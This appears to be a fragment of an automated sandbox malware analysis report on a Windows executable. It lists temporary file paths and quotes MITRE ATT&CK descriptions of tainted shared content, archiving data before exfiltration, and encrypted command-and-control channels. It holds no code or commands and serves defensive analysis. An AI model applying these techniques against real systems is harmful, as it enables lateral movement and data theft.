
C:\Users\user\AppData\Local\Temp\RruUKzAjOp

C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.0.cs

Windows Analysis Report
7aHY4r6vXR.exe

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre